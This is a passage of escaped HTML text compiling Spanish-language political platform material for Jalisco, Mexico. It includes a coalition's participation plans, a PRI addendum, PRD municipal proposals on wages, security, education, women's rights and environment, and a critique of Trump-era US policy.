mayores.<\/li>\n<\/ol>\n<p><strong>\u00a0<\/strong><\/p>\n<p><strong>Siguientes pasos: Mecanismos de participaci\u00f3n.<\/strong><\/p>\n<p>La nueva etapa de transformaci\u00f3n del pa\u00eds tendr\u00e1 que articularse no por el designio de una sola persona, con arbitrariedad, ni desandando el camino. Por el contrario, ser\u00e1 garantizando el imperio de la ley, perfeccionando la democracia y abriendo canales de di\u00e1logo y cooperaci\u00f3n entre la sociedad y el gobierno.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 En ese sentido, la Plataforma Electoral y Programa de Gobierno que aqu\u00ed se presenta no pretende ser exhaustiva; es apenas el punto de partida. Es indispensable que, adem\u00e1s de las propuestas mencionadas anteriormente, recojamos las expresiones y demandas de la sociedad para construir un proyecto de gobierno representativo. En el desarrollo de M\u00e9xico todas las opiniones cuentan y tienen que ser escuchadas.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 En este contexto, los sectores, las organizaciones, las diversas estructuras, liderazgos, movimientos y organizaciones adherentes de los institutos pol\u00edticos que integramos esta Coalici\u00f3n tambi\u00e9n permiten generar un v\u00ednculo de participaci\u00f3n importante para enriquecer con su experiencia y representatividad la Plataforma Electoral y Programa de Gobierno, y reflejar en ellos las diversas demandas sociales de Jalisco.. Aprovecharemos la experiencia y la vitalidad de nuestros dirigentes, cuadros, representantes populares y precandidatos a distintos cargos de elecci\u00f3n popular, para construir las mejores estrategias de di\u00e1logo plural y acercamiento con la ciudadan\u00eda.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Construiremos respuestas a las demandas de quienes viven del campo, de quienes laboran en nuestras industrias y de los que desarrollan su actividad en el mundo del comercio y de los servicios. Recogeremos las inquietudes espec\u00edficas de todas las regiones y comunidades del estado. Acudiremos al mayor n\u00famero posible de espacios de reflexi\u00f3n para fortalecer la profundidad y visi\u00f3n de futuro de nuestra Plataforma Electoral y Programa de Gobierno.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 La participaci\u00f3n ciudadana se robustecer\u00e1 con la voz de los grupos espec\u00edficos de la sociedad reflejada en las organizaciones de nuestros partidos, es decir de mujeres, j\u00f3venes, comunidades ind\u00edgenas, migrantes, personas con discapacidad y adultos mayores, as\u00ed como quienes se desarrollan en las Fuerzas Armadas, en el sector empresarial, acad\u00e9micos e investigadores, en la cultura, el deporte y el arte. Con todos ellos nos comprometemos a defender sus derechos y buscar su participaci\u00f3n permanente en la vida nacional.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 La Plataforma Electoral y Programa de Gobierno que presentamos ser\u00e1 puesta a consideraci\u00f3n de la sociedad por medio de encuentros tem\u00e1ticos, sectorizados o focalizados en las regiones de Jalisco, lo que nos permitir\u00e1 fortalecerla y hacerla parte de la sociedad.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 En este sentido, el desarrollo de redes digitales, efectivas y propositivas ser\u00e1 fundamental para conocer, analizar y discutir las propuestas, en un \u00e1nimo positivo y creativo. Mostraremos en todo momento el sentido del gobierno bajo una colaboraci\u00f3n abierta y \u00e1gil que nos acerque a los mexicanos dentro y fuera del pa\u00eds y nadie quede fuera de la construcci\u00f3n de nuestro proyecto de gobierno para la transformaci\u00f3n de M\u00e9xico.<\/p>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tEp\u00edlogo: Reflexiones finales.\t\t\t\t\t<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0 \u00a0 La Plataforma Electoral y Programa de Gobierno ser\u00e1 enriquecida por las y los militantes y simpatizantes de nuestros tres partidos durante el proceso de precampa\u00f1a. A lo largo de las pr\u00f3ximas semanas recorreremos el pa\u00eds para escuchar y, a trav\u00e9s del di\u00e1logo, juntos construir un programa que garantice a los mexicanos un futuro de bienestar.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u00c9sta ser\u00e1 una campa\u00f1a de propuestas, para encabezar un gobierno centrado en el compromiso de cerrar la distancia entre nuestra realidad y nuestras aspiraciones. Con seguridad y justicia sin impunidad, con crecimiento que se traduzca en la mejora del ingreso familiar. Con un gobierno que ejerza sus recursos con absoluta legalidad, transparencia y compromiso con la ciudadan\u00eda a la que sirve. Con mujeres que tengan un verdadero piso parejo en oportunidades y la protecci\u00f3n de sus derechos. Con una ni\u00f1ez que no conozca la pobreza y tenga pleno acceso a educaci\u00f3n, salud y cultura.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u00c9ste es el momento de las certezas. El pa\u00eds no puede dar un salto al vac\u00edo. M\u00e9xico es un pa\u00eds con un gran pasado, un presente vigoroso y est\u00e1 en posibilidad de consolidar un futuro promisorio.<\/p>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tAdenda\t\t\t\t\t<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 El PRI, que tiene fuerza notable a trav\u00e9s de sus sectores, legisladores, gobernadores, funcionarios municipales y \u2014sobre todo\u2014 militantes y simpatizantes, puede influir poderosamente en el rumbo de M\u00e9xico. Puede evitar desviaciones cuyo precio ser\u00eda gigantesco. Puede resistir la avalancha y enderezar la marcha. Para ello se necesita, es evidente, que haya <em>conciencia clara del punto en el que nos hallamos; de la tierra que pisamos, del destino que podemos y del riesgo que afrontamos<\/em>. Todo, en un haz de preocupaciones, que pronto se conviertan en ocupaciones pol\u00edticas, l\u00facidas, en\u00e9rgicas, comprometidas.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Muchos correligionarios consideran esencial asumir definiciones sobre la dirigencia del partido. Para ello, elevan voces en alg\u00fan sentido. Vuelvo a decir: <em>la lucha por el partido no debe agotar las fuerzas ni ocupar el horizonte que reclama la lucha por la naci\u00f3n<\/em>. A veces me parece que quisi\u00e9ramos contar con un mes\u00edas que sustituyera al conductor perdido: un dirigente para relevar a un Presidente de la Rep\u00fablica. A mi juicio, esto es imposible e indeseable. Tenemos que erigir nuestra autonom\u00eda y liberar nuestras batallas a partir de una estructura democr\u00e1tica \u2014una democracia con dem\u00f3cratas genuinos\u2014, m\u00e1s que buscar un conductor y restaurar la \u201ccultura de la l\u00ednea\u201d. Es impracticable y ser\u00eda ineficiente y decepcionante el providencialismo que oper\u00f3 en muchos lustros iniciales de la vida del partido y entr\u00f3 en crisis \u2014hasta determinar la crisis misma de nuestra organizaci\u00f3n pol\u00edtica\u2014 en estos \u00faltimos a\u00f1os. Hoy debe prevalecer la generosidad previsora y patri\u00f3tica sobre la pretensi\u00f3n personal. Aqu\u00e9lla contribuir\u00e1 a la unidad; \u00e9sta podr\u00eda activar la dispersi\u00f3n, con enorme perjuicio para el partido y para el pa\u00eds.<\/p>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Estimo indispensable que el PRI concentre sus mayores esfuerzos en el hallazgo de una <em>posici\u00f3n propia, natural y atractiva a prop\u00f3sito de la agenda nacional <\/em>que antes mencion\u00e9 y, sobre todo, de los <em>temas cr\u00edticos <\/em>que refer\u00ed en p\u00e1rrafos anteriores. Es esto lo que nos permitir\u00eda alcanzar un pacto social interno y conjurar las tentaciones centrifugas. Esto tambi\u00e9n nos permitir\u00eda restablecer los puentes que comuniquen al partido con el conjunto de la sociedad, en cada uno de sus sectores significativos, y contribuyan, de tal suerte, a fincar el pacto social externo que fortalecer\u00e1 al partido en la medida en que se recupere su prestigio ante quienes no sufragaron o votaron en contra y retenga la confianza y la esperanza de quienes lo hicieron a favor de nuestro partido.<\/p>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tIntroducci\u00f3n \t\t\t\t\t<\/p>\n<p>El Estado de Jalisco es una regi\u00f3n diversa tanto en oportunidades como en retos por atender. La variedad geogr\u00e1fica, cultural y econ\u00f3mica nos sit\u00faa en un territorio de alta valoraci\u00f3n por las condiciones que la misma naturaleza nos ofrece, por las aportaciones con las que los jaliscienses han contribuido a la ciencia y las artes, as\u00ed como por la creatividad de los habitantes de esta regi\u00f3n, quienes con sus iniciativas y clara visi\u00f3n de desarrollo, nos ponen a la vanguardia nacional para impulsar el desarrollo econ\u00f3mico con justicia en pro del bienestar de todas las familias de nuestro estado.<\/p>\n<p>Habitamos un estado potencialmente privilegiado para vivir con armon\u00eda, igualdad, seguridad y justicia, pero lamentablemente, hemos tenido que enfrentar obst\u00e1culos, con posibilidad de ser revertidos mediante las propuestas del Partido de la Revoluci\u00f3n Democr\u00e1tica (PRD), un partido pol\u00edtico que surge de un compromiso plenamente democr\u00e1tico en tanto que considera que es la voz de los ciudadanos el punto de partida para impulsar las acciones de gobierno; un gobierno que tiene como meta trabajar para que el bienestar de los pobladores sea m\u00e1s que un discurso, una realidad que materialice los afanes m\u00e1s dignos, nobles y justos de quienes orgullosamente habitamos el Estado de Jalisco.<\/p>\n<p>Resulta lamentable que a pesar del gran potencial y oportunidades que nos ofrece nuestro estado, tengamos que afrontar un \u00a0sinn\u00famero de problemas que nos mantienen en la par\u00e1lisis, muchos de ellos a causa de la falta de compromiso de los gobiernos municipales ante las principales exigencias de los ciudadanos. Por lo anterior, una motivaci\u00f3n central de las propuestas perredistas para estar al frente de los gobiernos municipales es ser sensibles a los problemas de la poblaci\u00f3n y juntos impulsar alternativas para atender y resolver las inquietudes de los jaliscienses, cifrados en la b\u00fasqueda de mayor seguridad para todos, igualdad de oportunidades para las familias en educaci\u00f3n, salud y cultura; mejorar las condiciones econ\u00f3micas a partir de un mejor salario y apoyar en la creaci\u00f3n de la micro y mediana empresa; fomentar el cuidado del medio ambiente e impulsar el desarrollo econ\u00f3micamente sustentable del campo, la industria y las costas. Todo ello, s\u00f3lo es posible, a partir de la conformaci\u00f3n de gobiernos municipales con una clara vocaci\u00f3n democr\u00e1tica, que ejerzan los recursos con transparencia, que desempe\u00f1en las funciones gubernamentales del lado de la ciudadan\u00eda, que sean sensibles ante los sectores m\u00e1s vulnerables de la sociedad, \u00a0que valoren, reconozcan e integren a la mujer en sus proyectos gubernamentales y sientan como propias, las grandes demandas ciudadanas de justicia, seguridad, igualdad de oportunidades, as\u00ed como el pleno ejercicio de las libertades, lo cual es garant\u00eda de que los habitantes de nuestra regi\u00f3n puedan configurar sus proyectos de vida con las condiciones propicias para ello.<\/p>\n<p>Con este documento presentamos las propuestas del Partido de la Revoluci\u00f3n Democr\u00e1tica sobre las acciones a materializar a partir del reconocimiento de los grandes retos que afrontamos quienes habitamos los municipios del Estado de Jalisco.<\/p>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tI.\tBienestar, combate a la pobreza y crecimiento econ\u00f3mico sustentable\t\t\t\t\t<\/p>\n<ul>\n<li>Impulsar la recuperaci\u00f3n e incremento de los salarios, de tal manera que sean posibles las condiciones de bienestar de los jaliscienses.<\/li>\n<li>Garantizar una renta m\u00ednima vital.<\/li>\n<li>Revisar la pol\u00edtica laboral para que los trabajadores tengan la garant\u00eda de una aut\u00e9ntica protecci\u00f3n sindical y colectiva y adem\u00e1s, cuenten con estabilidad laboral.<\/li>\n<li>Estimular la creaci\u00f3n de empresas comprometidas con el prop\u00f3sito de alcanzar un pleno bienestar de los trabajadores.<\/li>\n<li>Procurar estrategias de desarrollo empresarial y de las cooperativas, en equilibrio con el bienestar de los trabajadores, el fomento del empleo y la paulatina erradicaci\u00f3n de la informalidad, con el respaldo municipal para el logro de sus prop\u00f3sitos.<\/li>\n<li>Promover que los espacios de trabajo sean concebidos como lugares garantes de oportunidades, de respeto de libertades, de igualdad, de protecci\u00f3n, seguridad social y bienestar.<\/li>\n<li>Impulsar las aportaciones de la mujer en los \u00e1mbitos laborales, erradicando los factores de discriminaci\u00f3n e inseguridad; motivando, as\u00ed mismo, las condiciones para el pleno desarrollo y realizaci\u00f3n de sus expectativas. \u2028<\/li>\n<li>Garantizar los derechos laborales de todos aquellos trabajadores que no gozan de ellos, tales como las trabajadoras dom\u00e9sticas, los jornaleros o los trabajadores eventuales y artistas.<\/li>\n<li>Impulsar la creatividad cient\u00edfica y tecnol\u00f3gica de los jaliscienses de tal manera que nos permita una mayor autonom\u00eda en consonancia con la pretensi\u00f3n de atender las necesidades propias del crecimiento econ\u00f3mico de los municipios de Jalisco y, al mismo tiempo, impulse la apertura y participaci\u00f3n de la industria en los mercados nacionales e internacionales.<\/li>\n<li>Promover la inclusi\u00f3n laboral de los sectores m\u00e1s vulnerables, promoviendo la participaci\u00f3n de la comunidad, el impulso a las cooperativas y apoyando la creaci\u00f3n de peque\u00f1as y medianas empresas.<\/li>\n<\/ul>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tII.\tSeguridad p\u00fablica, goce de las libertades, justicia independiente, imparcial, pronta, expedita; combate a la corrupci\u00f3n y la impunidad y respeto a los derechos humanos.\t\t\t\t\t<\/p>\n<ul>\n<li>Trabajar para que la seguridad, derecho inalienable de todos los mexicanos, sea garantizada por los gobiernos municipales en sus vidas, sus propiedades, en el libre tr\u00e1nsito, y en el ejercicio de cualquier actividad l\u00edcita.<\/li>\n<li>Esclarecer la situaci\u00f3n de aquellas personas que se encuentran encarceladas o han sido v\u00edctimas de violencia por su participaci\u00f3n en la promoci\u00f3n de derechos sociales.<\/li>\n<li>Combatir la desaparici\u00f3n forzada, los secuestros, los feminicidios, la trata de personas y el cobro de piso.<\/li>\n<li>Promover que se lleve a la justicia a los autores materiales e intelectuales de los delitos, as\u00ed como la promoci\u00f3n de la reparaci\u00f3n del da\u00f1o.<\/li>\n<li>Que los mandos civiles asuman de manera plena y responsable sus funciones de protecci\u00f3n de la ciudadan\u00eda.<\/li>\n<li>Fortalecer el sistema de justicia igualitario con profesionalizaci\u00f3n y capacitaci\u00f3n, sin distinci\u00f3n de rango o poder econ\u00f3mico.<\/li>\n<li>Promover instancias de conciliaci\u00f3n para la resoluci\u00f3n de conflictos.<\/li>\n<li>Tratar el consumo de drogas como un asunto de salud p\u00fablica regulando el uso de los derivados del cannabidiol para fines m\u00e9dicos y la despenalizaci\u00f3n de la marihuana para uso l\u00fadico.<\/li>\n<li>Integrar a la ciudadan\u00eda en la planeaci\u00f3n de modelos para garantizar la seguridad p\u00fablica.<\/li>\n<li>Profesionalizaci\u00f3n y certificaci\u00f3n de polic\u00edas, agentes del ministerio p\u00fablico, peritos y funcionarios de seguridad p\u00fablica, dotarla de equipo y tecnolog\u00eda para el combate a la delincuencia, mejorar condiciones laborales y salariales, establecer controles de confianza, lograr que se recupere la certidumbre ciudadana para contar con su apoyo y un eficaz control ciudadano.<\/li>\n<li>Impulsar una cultura incluyente de protecci\u00f3n y pleno respeto a los derechos humanos.<\/li>\n<li>Fomentar medidas afirmativas que permitan combatir desigualdades y fincar las bases para un trato igualitario entre hombres y mujeres.<\/li>\n<li>Recuperar los espacios p\u00fablicos en favor de la poblaci\u00f3n. Apoyar mediante pol\u00edticas p\u00fablicas a los grupos en condiciones de vulnerabilidad de la sociedad.<\/li>\n<\/ul>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tIII.\tGobernabilidad democr\u00e1tica, austeridad gubernamental transparencia, rendici\u00f3n de cuentas, fiscalizaci\u00f3n y combate a la corrupci\u00f3n.\t\t\t\t\t<\/p>\n<ul>\n<li>Consolidar la fiscal\u00eda anticorrupci\u00f3n y en su caso establecer sanciones, para aquellos servidores p\u00fablicos, particulares, partidos pol\u00edticos o sus integrantes que incurran en actos de corrupci\u00f3n.<\/li>\n<li>Evitar la impunidad de todo aquel funcionario p\u00fablico que participe en actos il\u00edcitos.<\/li>\n<li>Eliminar los gastos superfluos y onerosos que existen en el sector p\u00fablico. Este ahorro debe servir para incrementar los recursos destinados a actividades prioritarias.<\/li>\n<li>Obligatoriedad de presentar declaraci\u00f3n patrimonial, de presentar la declaraci\u00f3n de inter\u00e9s, (conflicto de intereses por litigar, representar y ser parte de un asunto o negocio) que se relacionen con la responsabilidad de servidor p\u00fablico.<\/li>\n<li>Rendici\u00f3n de cuentas peri\u00f3dicas.<\/li>\n<\/ul>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tIV.\tImpulso a la educaci\u00f3n, ciencia y tecnolog\u00eda\t\t\t\t\t<\/p>\n<ul>\n<li>Participar para elevar la calidad en la educaci\u00f3n, abatir el analfabetismo, consolidar la educaci\u00f3n preescolar, b\u00e1sica, media, media superior y superior.<\/li>\n<li>Detener la deserci\u00f3n de los estudiantes por motivos econ\u00f3micos, elevando a rango de ley la gesti\u00f3n de becas, \u00fatiles escolares y uniformes.<\/li>\n<li>Transporte p\u00fablico gratuito a los estudiantes, especialmente a las zonas marginadas.<\/li>\n<li>Incrementar la inversi\u00f3n municipal para el desarrollo y la innovaci\u00f3n de la ciencia y la tecnolog\u00eda.<\/li>\n<li>Promover una educaci\u00f3n incluyente especialmente para los ni\u00f1os y las ni\u00f1as, j\u00f3venes, mujeres, ind\u00edgenas, discapacitados y la poblaci\u00f3n m\u00e1s vulnerable.<\/li>\n<li>Invertir en infraestructura escolar.<\/li>\n<li>Participar en la incorporaci\u00f3n de tecnolog\u00edas de informaci\u00f3n y comunicaci\u00f3n en los diferentes niveles educativos.<\/li>\n<li>Subsidiar, apoyar e incentivar la creaci\u00f3n art\u00edstica y cultural en ni\u00f1os y j\u00f3venes.<\/li>\n<\/ul>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tV.\tApoyo a los j\u00f3venes y promoci\u00f3n de derechos de la mujer, incluidos los derechos sexuales y reproductivos\t\t\t\t\t<\/p>\n<ul>\n<li>Impulsar el desarrollo de la juventud mediante pol\u00edticas p\u00fablicas que garanticen: becas salario, empleo, vivienda, salud y desarrollo social a trav\u00e9s de la educaci\u00f3n, tecnolog\u00edas de la informaci\u00f3n e innovar la creatividad.<\/li>\n<li>Erradicar la discriminaci\u00f3n por edad, g\u00e9nero, orientaci\u00f3n o preferencia sexual.<\/li>\n<li>Promover una cultura de tolerancia, respeto e inclusi\u00f3n de las diferencias; as\u00ed como, continuar profundizando las acciones para impulsar condiciones efectivas para garantizar la equidad entre los g\u00e9neros.<\/li>\n<li>Incorporar a los j\u00f3venes para que participen en labores de: apoyo a adultos mayores, grupos vulnerables, reconstrucci\u00f3n de espacios urbanos, regeneraci\u00f3n del medio ambiente, educaci\u00f3n c\u00edvica, protecci\u00f3n civil y prevenci\u00f3n de desastres naturales.<\/li>\n<li>La lucha contra la homofobia debe ser nuestro compromiso permanente, promoviendo pol\u00edticas p\u00fablicas encaminadas a reconocer los derechos de la diversidad sexual. \u2028<\/li>\n<li>Impulsar programas de prevenci\u00f3n del c\u00e1ncer c\u00e9rvico-uterino y de mama as\u00ed como el de pr\u00f3stata.<\/li>\n<li>Promover pol\u00edticas p\u00fablicas con perspectiva de g\u00e9nero.<\/li>\n<li>Apoyar el derecho a decidir sobre la reproducci\u00f3n y la vida.<\/li>\n<li>Promover la informaci\u00f3n sobre salud sexual y reproductiva para disminuir embarazos de adolescentes.<\/li>\n<li>Prevenir de la violencia f\u00edsica, psicol\u00f3gica, sexual y las conductas discriminatorias, as\u00ed como de la violaci\u00f3n y el hostigamiento sexual.<\/li>\n<\/ul>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tVI.\tMedio ambiente y desarrollo sustentable\t\t\t\t\t<\/p>\n<ul>\n<li>Promover pol\u00edticas ambientales en planeaci\u00f3n, considerando los grandes retos ambientales tales como el cambio clim\u00e1tico, el cuidado de la biodiversidad, la gesti\u00f3n sustentable del agua y la preservaci\u00f3n de bosques y \u00e1reas verdes.<\/li>\n<li>Promover un desarrollo productivo regional que evite el da\u00f1o ecol\u00f3gico y tenga por objetivo el bienestar humano y la equidad social.<\/li>\n<li>Implementar las recomendaciones y pol\u00edticas de los \u00f3rganos internacionales de la ONU en materia ambiental y cambio clim\u00e1tico.<\/li>\n<li>Impulsar prioritariamente, en las \u00e1reas de alta conflictividad ambiental, econ\u00f3mica y social, el ordenamiento del territorio con un enfoque preferentemente de cuencas que busque integrar los ordenamientos ecol\u00f3gicos territoriales, los planes directores de desarrollo urbano, y otros instrumentos sectoriales para ordenar de manera preventiva los usos de los ecosistemas de acuerdo con su vocaci\u00f3n ecol\u00f3gica y productiva.<\/li>\n<li>Garantizar la protecci\u00f3n y restauraci\u00f3n de \u00e1reas naturales en forma integrada y arm\u00f3nica con los ordenamientos territoriales, con el fin de conservar la biodiversidad presente en los municipios, se deben impulsar acciones para que las comunidades y ciudadanos que habitan en las \u00e1reas naturales protegidas sean compatibles con el desarrollo econ\u00f3mico y social.<\/li>\n<li>Propiciar una mayor responsabilidad ciudadana para articular el m\u00e1ximo consenso social para garantizar su participaci\u00f3n responsable en la conservaci\u00f3n de los recursos naturales.<\/li>\n<li>Reconocer el agua como bien p\u00fablico escaso, cuya preservaci\u00f3n sea asunto de inter\u00e9s p\u00fablico y promover la reutilizaci\u00f3n del agua en los procesos productivos, garantizando los recursos h\u00eddricos para consumo de la entidad.<\/li>\n<li>Evitar la contaminaci\u00f3n ambiental e impulsar una cultura de preservaci\u00f3n integral del medio ambiente.<\/li>\n<li>Impulsar el uso de biocombustibles.<\/li>\n<\/ul>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tVII.\tDesarrollo rural\t\t\t\t\t<\/p>\n<ul>\n<li>Incentivar la tecnificaci\u00f3n, producci\u00f3n, mecanizaci\u00f3n y capacitaci\u00f3n, y la investigaci\u00f3n cient\u00edfica, que ayude a proteger y mejorar las cadenas productivas en todos sus \u00e1mbitos.<\/li>\n<li>Contribuir en la planificaci\u00f3n alimentaria, definiendo las metas de producci\u00f3n agroalimentaria en funci\u00f3n de las necesidades alimentarias y nutricionales de la poblaci\u00f3n y de un desarrollo sustentable.<\/li>\n<li>Impulsar un desarrollo con equidad que genere empleos de calidad, para no verse forzados a dejar su lugar de origen.<\/li>\n<\/ul>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tI.\tContexto internacional y situaci\u00f3n del estado\t\t\t\t\t<\/p>\n<p><strong>Contexto internacional<\/strong><\/p>\n<p>El sistema capitalista mundial sigue transitando por la crisis m\u00e1s prolongada que se conozca desde la \u201cGran Depresi\u00f3n\u201d de los a\u00f1os 1929-1933. Esta crisis estall\u00f3 en el centro del capitalismo mundial: los Estados Unidos de Am\u00e9rica (EUA), inmediatamente se extendi\u00f3 a casi todo el mundo y ha seguido su curso sin que se visualice claramente su salida.<\/p>\n<p>Ha sido una crisis in\u00e9dita por su amplitud global, profundidad, m\u00faltiples dimensiones (financiera, comercial, productiva, alimentaria, energ\u00e9tica, ecol\u00f3gica, social, ideol\u00f3gica, pol\u00edtica y geopol\u00edtica), y car\u00e1cter prolongado (de 2008 a los d\u00edas que corren, y es probable que por algunos a\u00f1os m\u00e1s). Los m\u00e1s renombrados economistas, estadistas y empresarios a nivel mundial han reconocido expl\u00edcitamente la magnitud y duraci\u00f3n de esta crisis, y la necesidad de tomar medidas trascendentes ante ella. En rigor, esto no ha sido as\u00ed. S\u00f3lo se asumieron decisiones dr\u00e1sticas para contener los efectos m\u00e1s devastadores sobre los sistemas financieros y un amplio grupo de corporaciones transnacionales, y propiciar la estabilidad de las quince econom\u00edas m\u00e1s grandes del mundo. En los a\u00f1os subsiguientes este proceso ha sido una cadena de altibajos que no acaba de concluir. \u00a0<\/p>\n<p>Como quiera que sea, la crisis no ha sido superada. Pasados los m\u00e1s dif\u00edciles momentos, todo parece volver a la din\u00e1mica y las formas previas a la misma como si no hubiera pasado nada. Pero es evidente que no se han recuperado los niveles anteriores al estallido de la crisis en cuanto al crecimiento del Producto Interno Bruto (PIB) de las econom\u00edas m\u00e1s desarrolladas, de los pa\u00edses llamados \u201cemergentes\u201d y mucho menos de los de mayor atraso. Tampoco se han recuperados los niveles previos de empleo (varios pa\u00edses de la Uni\u00f3n Europea son el ejemplo m\u00e1s conspicuo), de inversi\u00f3n, de comercio y de ingresos de los trabajadores, as\u00ed como los niveles de vida en numerosas sociedades del planeta.<\/p>\n<p>A casi diez a\u00f1os de que estallara la crisis econ\u00f3mica mundial, apenas en los dos a\u00f1os resientes se empieza a observar una muy moderada recuperaci\u00f3n en el crecimiento del PIB de los EUA, la Uni\u00f3n Europea (UE) -en particular la Zona Euro-, Jap\u00f3n, China y varios pa\u00edses de Am\u00e9rica Latina. Pero llevar\u00e1 varios a\u00f1os superar definitivamente la crisis y el inicio de una nueva etapa de auge de la econom\u00eda mundial y de las veinte o treinta econom\u00edas m\u00e1s importantes.<\/p>\n<p>En estas circunstancias, el avanzado proceso de globalizaci\u00f3n fue frenado y ha resentido importantes da\u00f1os y presiones en los a\u00f1os recientes. Ante los efectos de la crisis prolongada numerosos pa\u00edses fueron adoptando en diverso grado pol\u00edticas proteccionistas en cuanto a intercambio comercial, flujos de inversi\u00f3n, tipos de cambio, deuda, etc., etc.; en tanto que otros adoptaban simult\u00e1neamente pol\u00edticas m\u00e1s agresivas en estos rubros. Destaca en este sentido que el gobierno del pa\u00eds m\u00e1s poderoso del mundo, los EUA, quiera imponer su \u201cagenda nacional\u201d de car\u00e1cter preminentemente proteccionista (e incluso aislacionista) no s\u00f3lo a Canad\u00e1 y sobre todo a M\u00e9xico, sino tambi\u00e9n a otras zonas y diversos pa\u00edses del mundo.<\/p>\n<p>Esta orientaci\u00f3n econ\u00f3mica que le est\u00e1 imprimiendo el gobierno de Donald Trump a los EUA est\u00e1 siendo acompa\u00f1ada de una postura brabucona e incluso provocadoramente belicosa, que estar\u00eda buscando restituirle la hegemon\u00eda absoluta de que goz\u00f3 la mayor potencia imperialista desde el derrumbe del llamado \u201cbloque socialista\u201d y la URSS hasta la primera administraci\u00f3n de Barak Obama. Es decir, estar\u00eda buscando recuperar por estas v\u00edas la supremac\u00eda de los EUA, en condiciones donde la geopol\u00edtica ha cambiado notablemente. El mundo unipolar de aquellos a\u00f1os devino multipolar. Tambi\u00e9n en este sentido la \u201cagenda nacional\u201d del gobierno de Trump se est\u00e1 traduciendo en un mayor desgaste del poder\u00edo imperialista de los EUA y su inexplicable aislacionismo en t\u00e9rminos geopol\u00edticos y geoestrat\u00e9gicos.<\/p>\n<p>El objetivo de Trump en la Casa Blanca de \u201cHacer a Am\u00e9rica grande otra vez\u201d est\u00e1 llevando a los EUA a deteriorar e incluso destruir: a) su liderazgo mundial (<em>hegemonista<\/em>) con respecto a la UE, Asia oriental y Medio Oriente, en beneficio de Alemania, Rusia y sobre todo China; b) sus relaciones con sus socios comerciales, como es el caso Canad\u00e1 y sobre todo M\u00e9xico, a trav\u00e9s de la eventual disoluci\u00f3n del Tratado de Libre Comercio de Am\u00e9rica del Norte (TLCAN) en 2018; c) la imagen de los EUA ante el mundo de ser el pa\u00eds m\u00e1s desarrollado econ\u00f3mica, social y culturalmente, y con una de las democracias m\u00e1s consolidadas, como resultado de las pol\u00edticas <em>trumpistas<\/em> xen\u00f3fobas, racistas y supremacistas que se han observado; d) la din\u00e1mica interna de las relaciones sociales, llevando a una polarizaci\u00f3n en la propia sociedad estadunidense; y e) los avances e incluso las bases de la globalizaci\u00f3n neoliberal. Este es el escenario que se ha venido configurando con la destacada contribuci\u00f3n de Donald John Trump. Un escenario desfavorable para M\u00e9xico. \u00a0\u00a0<\/p>\n<p><strong>Situaci\u00f3n del Estado de Jalisco<\/strong><\/p>\n<p>En el estado de Jalisco existe la zonificaci\u00f3n por usos, al generarse extensas zonas de habitaci\u00f3n, industria o comercio, en lugar de sectores con mezclas de usos. La falta o inexacta aplicaci\u00f3n, generara malas condiciones de habitabilidad y que conllevan al crecimiento irregular, sin que existiera capacidades suficientes para ordenarlo o cuando menos encauzarlo, la privatizaci\u00f3n de forma t\u00e1cita del espacio que tradicionalmente es p\u00fablico: calles, plazas, parques, la multiplicaci\u00f3n de acciones aisladas de extensa urbanizaci\u00f3n suburbana.<\/p>\n<p><strong>De pol\u00edticas p\u00fablicas: la inversi\u00f3n<\/strong><\/p>\n<p>Las inversiones moldean el espacio de las ciudades y orientan el desarrollo. Las inversiones p\u00fablicas, en el desarrollo de Guadalajara y su zona conurbada, han seguido tendencias nacionales y de atenci\u00f3n a situaciones de corto plazo y coyunturales, derivadas de la falta de estabilidad institucional en la administraci\u00f3n p\u00fablica. Las obras realizadas est\u00e1n estrechamente ligadas a los periodos pol\u00edticos y por lo tanto, carecen de una visi\u00f3n de largo plazo y de continuidad, en mayor grado y por lo corto de los periodos, en el nivel municipal. Asimismo, al no incorporar los an\u00e1lisis de costo-beneficio, \u00a0\u00a0efectos y no las causas.<\/p>\n<p>Guadalajara y la Zona Metropolitana, necesitan mayor inversi\u00f3n en infraestructura, una excepci\u00f3n es el proyecto de\u00a0 la l\u00ednea 3 del Tren Ligero, pero no se escapa del antecedente anterior.<\/p>\n<p>La visi\u00f3n parcial de progreso promueve una movilidad ineficiente, por un aumento desproporcionado en el n\u00famero de veh\u00edculos particulares y al no atender los viajes, que son mayor\u00eda, en modos peatonal, ciclista y de transporte colectivo.<\/p>\n<p>Las zonas incomunicadas por el desarrollo urbano sin control o por topograf\u00eda representan otro aspecto que puede suscitar la aparici\u00f3n de diversas formas de violencia urbana. Como lo mencionamos con anterioridad con respecto al espacio p\u00fablico, en la medida en que existen vac\u00edos de infraestructura social, los mismos pueden ser\u00a0llenados por diversas formas de imposici\u00f3n de voluntades, basadas en la violencia y el abuso. El aislamiento provocado por la configuraci\u00f3n f\u00edsica, hace dif\u00edcil las labores de vigilancia y prevenci\u00f3n de riesgos, y sit\u00faa a los desarrollos de forma desarticulada de la ciudad. La inaccesibilidad urbana genera dependencias en materia de transporte, y distancias a\u00a0los servicios de\u00a0salud, educaci\u00f3n, de emergencia, etc., con el resultante malestar 